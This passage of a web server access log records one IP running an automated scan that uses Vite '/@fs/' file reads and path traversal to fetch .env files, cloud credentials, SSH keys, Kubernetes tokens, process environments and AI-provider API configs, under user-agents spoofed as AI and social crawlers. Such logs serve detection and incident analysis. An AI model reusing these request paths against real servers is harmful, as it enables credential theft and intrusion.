HTTP/1.1" 200 12103 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; TelegramBot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/.env.local?raw?? HTTP/1.1" 200 12104 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/.env.production?raw?? HTTP/1.1" 200 12102 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.8450.12 Mobile Safari/537.36; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/.env.development?raw?? HTTP/1.1" 200 12103 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Twitterbot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/.env.staging?raw?? HTTP/1.1" 200 12104 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Twitterbot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/root/.aws/credentials?raw?? HTTP/1.1" 200 12105 "-" "Mozilla/5.0 (compatible; Applebot/0.1; +http://www.apple.com/go/applebot)" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/root/.aws/config?raw?? HTTP/1.1" 200 12106 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko; compatible; facebookexternalhit/1.1; +http://www.facebook.com/externalhit_uatext.php) Chrome/130.0.4825.196 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/root/.aws/credentials.backup?raw?? HTTP/1.1" 200 12110 "-" "Mozilla/5.0 (Linux; Android 15; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot) Chrome/133.0.6671.138 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/root/.aws/credentials.bak?raw?? HTTP/1.1" 200 12113 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4960.83 Safari/537.36; compatible; WhatsApp/10.0.2.1" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/home/node/.aws/credentials?raw?? HTTP/1.1" 200 12112 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/home/node/.aws/config?raw?? HTTP/1.1" 200 12107 "-" "Mozilla/5.0 (compatible; GPTBot/1.4; +https://openai.com/gptbot)" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/home/ubuntu/.aws/credentials?raw?? HTTP/1.1" 200 12116 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots) Chrome/109.0.6950.169 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/home/ec2-user/.aws/credentials?raw?? HTTP/1.1" 200 12110 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/home/ubuntu/.aws/config?raw?? HTTP/1.1" 200 12110 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/home/www-data/.aws/credentials?raw?? HTTP/1.1" 200 12113 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.2162.77 Safari/537.36; compatible; ClaudeBot/1.0; +claudebot@anthropic.com" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/home/admin/.aws/credentials?raw?? HTTP/1.1" 200 12114 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.460.68 Safari/537.36 Edg/91.0.460.68; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/app/.aws/credentials?raw?? HTTP/1.1" 200 12106 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; WhatsApp/10.0.2.1)" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/home/debian/.aws/credentials?raw?? HTTP/1.1" 200 12112 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.2648.172 Safari/537.36; compatible; Twitterbot/1.0" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/var/www/.aws/credentials?raw?? HTTP/1.1" 200 12105 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.1279.101 Safari/537.36 Edg/131.0.1279.101; compatible; Discordbot/2.0; +https://discordapp.com" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/var/www/html/.aws/credentials?raw?? HTTP/1.1" 200 12110 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.1670.225 Mobile Safari/537.36; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/usr/src/app/.aws/credentials?raw?? HTTP/1.1" 200 12113 "-" "Mozilla/5.0 (compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/root/.aws/sso/cache/?raw?? HTTP/1.1" 200 12108 "-" "Mozilla/5.0 (compatible; GPTBot/1.2; +https://openai.com/gptbot)" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/home/ubuntu/.env?raw?? HTTP/1.1" 200 12104 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:149.15) Gecko/20100101 Firefox/149.15; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/app/.env.production?raw?? HTTP/1.1" 200 12103 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/19.7 Mobile/15E148 Safari/604.1; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/app/.env.local?raw?? HTTP/1.1" 200 12103 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.5162.112 Mobile Safari/537.36; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/var/www/.env?raw?? HTTP/1.1" 200 12102 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot) Chrome/126.0.5435.0 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/var/www/html/.env?raw?? HTTP/1.1" 200 12108 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.4) Gecko/20100101 Firefox/149.4; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/usr/src/app/.env?raw?? HTTP/1.1" 200 12102 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/app/terraform.tfstate?raw?? HTTP/1.1" 200 12108 "-" "Mozilla/5.0 (Linux; Android 15; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.3644.162 Mobile Safari/537.36; compatible; TelegramBot/1.0" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/root/terraform.tfstate?raw?? HTTP/1.1" 200 12106 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GrokBot/1.0; +https://x.ai/grokbot)" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/app/terraform.tfvars?raw?? HTTP/1.1" 200 12105 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; facebookexternalhit/1.1; +http://www.facebook.com/externalhit_uatext.php)" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/app/.terraform/terraform.tfstate?raw?? HTTP/1.1" 200 12113 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler)" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/app/serverless.yml?raw?? HTTP/1.1" 200 12104 "-" "Mozilla/5.0 (Linux; Android 15; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.5545.5 Mobile Safari/537.36; compatible; Claude-User/1.0; +Claude-User@anthropic.com" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/app/.serverless/serverless-state.json?raw?? HTTP/1.1" 200 12117 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Bytespider; +https://zhanzhang.toutiao.com/" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/app/aws-exports.js?raw?? HTTP/1.1" 200 12106 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.3497.183 Mobile Safari/537.36; compatible; Twitterbot/1.0" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/app/amplifyconfiguration.json?raw?? HTTP/1.1" 200 12113 "-" "Mozilla/5.0 (compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/root/.ssh/id_rsa?raw?? HTTP/1.1" 200 12106 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:149.8) Gecko/20100101 Firefox/149.8; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/etc/nginx/nginx.conf?raw?? HTTP/1.1" 200 12103 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Applebot/0.1; +http://www.apple.com/go/applebot" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/root/.ssh/id_ed25519?raw?? HTTP/1.1" 200 12110 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.492.3 Safari/537.36; compatible; Discordbot/2.0; +https://discordapp.com" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/var/run/secrets/kubernetes.io/serviceaccount/token?raw?? HTTP/1.1" 200 12124 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.2740.148 Mobile Safari/537.36; compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/etc/apache2/apache2.conf?raw?? HTTP/1.1" 200 12105 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ClaudeBot/1.0; +claudebot@anthropic.com" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/var/www/html/wp-config.php?raw?? HTTP/1.1" 200 12108 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/..%2f..%2f..%2f..%2f..%2fapp/.env?raw?? HTTP/1.1" 200 12081 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.7400.136 Safari/537.36 Edg/109.0.7400.136; compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/proc/self/cmdline?raw?? HTTP/1.1" 200 12107 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/109.0.4071.74 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ?raw?? HTTP/1.1" 200 12083 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko; compatible; TelegramBot/1.0) Chrome/128.0.5545.201 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/..%2f..%2f..%2f..%2f..%2froot/.env?raw?? HTTP/1.1" 200 12083 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.5) Gecko/20100101 Firefox/133.5; compatible; Discordbot/2.0; +https://discordapp.com" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/../../../../../app/.env?raw?? HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot) Chrome/109.0.4904.120 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/../../../../../proc/self/environ?raw?? HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Applebot/0.1; +http://www.apple.com/go/applebot) Chrome/109.0.7141.220 Safari/537.36 Edg/109.0.7141.220" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/../../../../../root/.env?raw?? HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/app/credentials.json?raw?? HTTP/1.1" 200 12106 "-" "Mozilla/5.0 (compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler)" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/app/gcp-credentials.json?raw?? HTTP/1.1" 200 12110 "-" "Mozilla/5.0 (compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/app/service-account.json?raw?? HTTP/1.1" 200 12109 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/118.0.4167.61 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/home/ubuntu/.azure/credentials?raw?? HTTP/1.1" 200 12115 "-" "Mozilla/5.0 (Linux; Android 15; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot) Chrome/130.0.1902.84 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/home/ubuntu/.config/gcloud/application_default_credentials.json?raw?? HTTP/1.1" 200 12135 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 15_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15; compatible; WhatsApp/10.0.2.1" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/root/.azure/accessTokens.json?raw?? HTTP/1.1" 200 12111 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/root/.azure/credentials?raw?? HTTP/1.1" 200 12113 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user) Chrome/109.0.7534.226 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/root/.config/gcloud/application_default_credentials.json?raw?? HTTP/1.1" 200 12126 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user) Chrome/124.0.1003.155 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/root/.oci/config?raw?? HTTP/1.1" 200 12102 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.2 Safari/605.1.15; compatible; Applebot/0.1; +http://www.apple.com/go/applebot" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/root/.ovh.conf?raw?? HTTP/1.1" 200 12107 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/home/ec2-user/.aws/config?raw?? HTTP/1.1" 200 12109 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/home/node/.config/gcloud/application_default_credentials.json?raw?? HTTP/1.1" 200 12130 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.8902.162 Mobile Safari/537.36; compatible; Claude-User/1.0; +Claude-User@anthropic.com" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/root/.config/gcloud/credentials.db?raw?? HTTP/1.1" 200 12119 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14.5; rv:143.2) Gecko/20100101 Firefox/143.2; compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/root/.config/hcloud/cli.toml?raw?? HTTP/1.1" 200 12118 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot) Chrome/124.0.1209.152 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/root/.config/linode-cli?raw?? HTTP/1.1" 200 12112 "-" "Mozilla/5.0 (compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/home/ubuntu/.azure/accessTokens.json?raw?? HTTP/1.1" 200 12118 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user)" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/home/ubuntu/.oci/config?raw?? HTTP/1.1" 200 12109 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Bytespider; +https://zhanzhang.toutiao.com/) Chrome/151.0.861.201 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/root/.vultr-cli.yaml?raw?? HTTP/1.1" 200 12108 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6206.176 Mobile Safari/537.36; compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/home/ubuntu/.ovh.conf?raw?? HTTP/1.1" 200 12118 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/605.1.15 (KHTML, like Gecko; compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot) Version/19.4 Safari/605.1.15" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/root/.anthropic/config.json?raw?? HTTP/1.1" 200 12116 "-" "Mozilla/5.0 (compatible; Bytespider; +https://zhanzhang.toutiao.com/)" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/root/.config/anthropic/credentials/default.json?raw?? HTTP/1.1" 200 12125 "-" "Mozilla/5.0 (compatible; Twitterbot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/root/.claude/settings.json?raw?? HTTP/1.1" 200 12112 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/home/ubuntu/.anthropic/config.json?raw?? HTTP/1.1" 200 12119 "-" "Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/home/ubuntu/.config/anthropic/credentials/default.json?raw?? HTTP/1.1" 200 12134 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/app/.anthropic/config.json?raw?? HTTP/1.1" 200 12115 "-" "Mozilla/5.0 (compatible; GPTBot/1.2; +https://openai.com/gptbot)" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/home/ubuntu/.openai/config.json?raw?? HTTP/1.1" 200 12120 "-" "Mozilla/5.0 (Linux; Android 15; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.4758.234 Mobile Safari/537.36; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/app/.openai/config.json?raw?? HTTP/1.1" 200 12109 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Discordbot/2.0; +https://discordapp.com)" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/root/.openai/config.json?raw?? HTTP/1.1" 200 12105 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +Claude-User@anthropic.com) Chrome/148.0.160.91 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/root/.config/openai/config.json?raw?? HTTP/1.1" 200 12113 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.7 Mobile/15E148 Safari/604.1; compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/var/task/.env?raw?? HTTP/1.1" 200 12098 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:150.18) Gecko/20100101 Firefox/150.18; compatible; GrokBot/1.0; +https://x.ai/grokbot" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/proc/self/cwd/.env?raw?? HTTP/1.1" 200 12106 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/118.0.4704.49 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/proc/self/cwd/.aws/credentials?raw?? HTTP/1.1" 200 12121 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/proc/self/environ?import&raw?? HTTP/1.1" 200 12110 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) Chrome/136.0.700.164 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/proc/1/environ?raw?? HTTP/1.1" 200 12102 "-" "Mozilla/5.0 (Windows NT 10.0; rv:127.19) Gecko/20100101 Firefox/127.19; compatible; WhatsApp/10.0.2.1" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/root/.config/gcloud/application_default_credentials.json?import&raw?? HTTP/1.1" 200 12131 "-" "Mozilla/5.0 (compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/usr/src/app/.config/gcloud/application_default_credentials.json?raw?? HTTP/1.1" 200 12134 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.4197.60 Safari/537.36; compatible; GPTBot/1.4; +https://openai.com/gptbot" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/proc/self/cwd/.config/gcloud/application_default_credentials.json?raw?? HTTP/1.1" 200 12137 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.2153.243 Safari/537.36; compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@fs/app/.config/gcloud/application_default_credentials.json?raw?? HTTP/1.1" 200 12127 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /@vite/env HTTP/1.1" 200 12096 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.12) Gecko/20100101 Firefox/133.12; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /.config/gcloud/application_default_credentials.json HTTP/1.1" 200 12110 "-" "Mozilla/5.0 (compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler)" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /static../.config/gcloud/application_default_credentials.json HTTP/1.1" 200 12119 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:149.2) Gecko/20100101 Firefox/149.2; compatible; LinkedInBot/1.0; +http://www.linkedin.com" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /uploads../.env HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; TelegramBot/1.0) Chrome/148.0.3626.93 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /_nuxt/../.env HTTP/1.1" 200 12090 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ClaudeBot/1.0; +claudebot@anthropic.com" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /img../.env HTTP/1.1" 200 12088 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler)" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /assets../.env HTTP/1.1" 200 12086 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /images../.env HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (compatible; Applebot/0.1; +http://www.apple.com/go/applebot)" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /.docker/.env HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.6833.157 Mobile Safari/537.36; compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /v1/.env HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (compatible; Applebot/0.1; +http://www.apple.com/go/applebot)" 34.74.70.246 - - 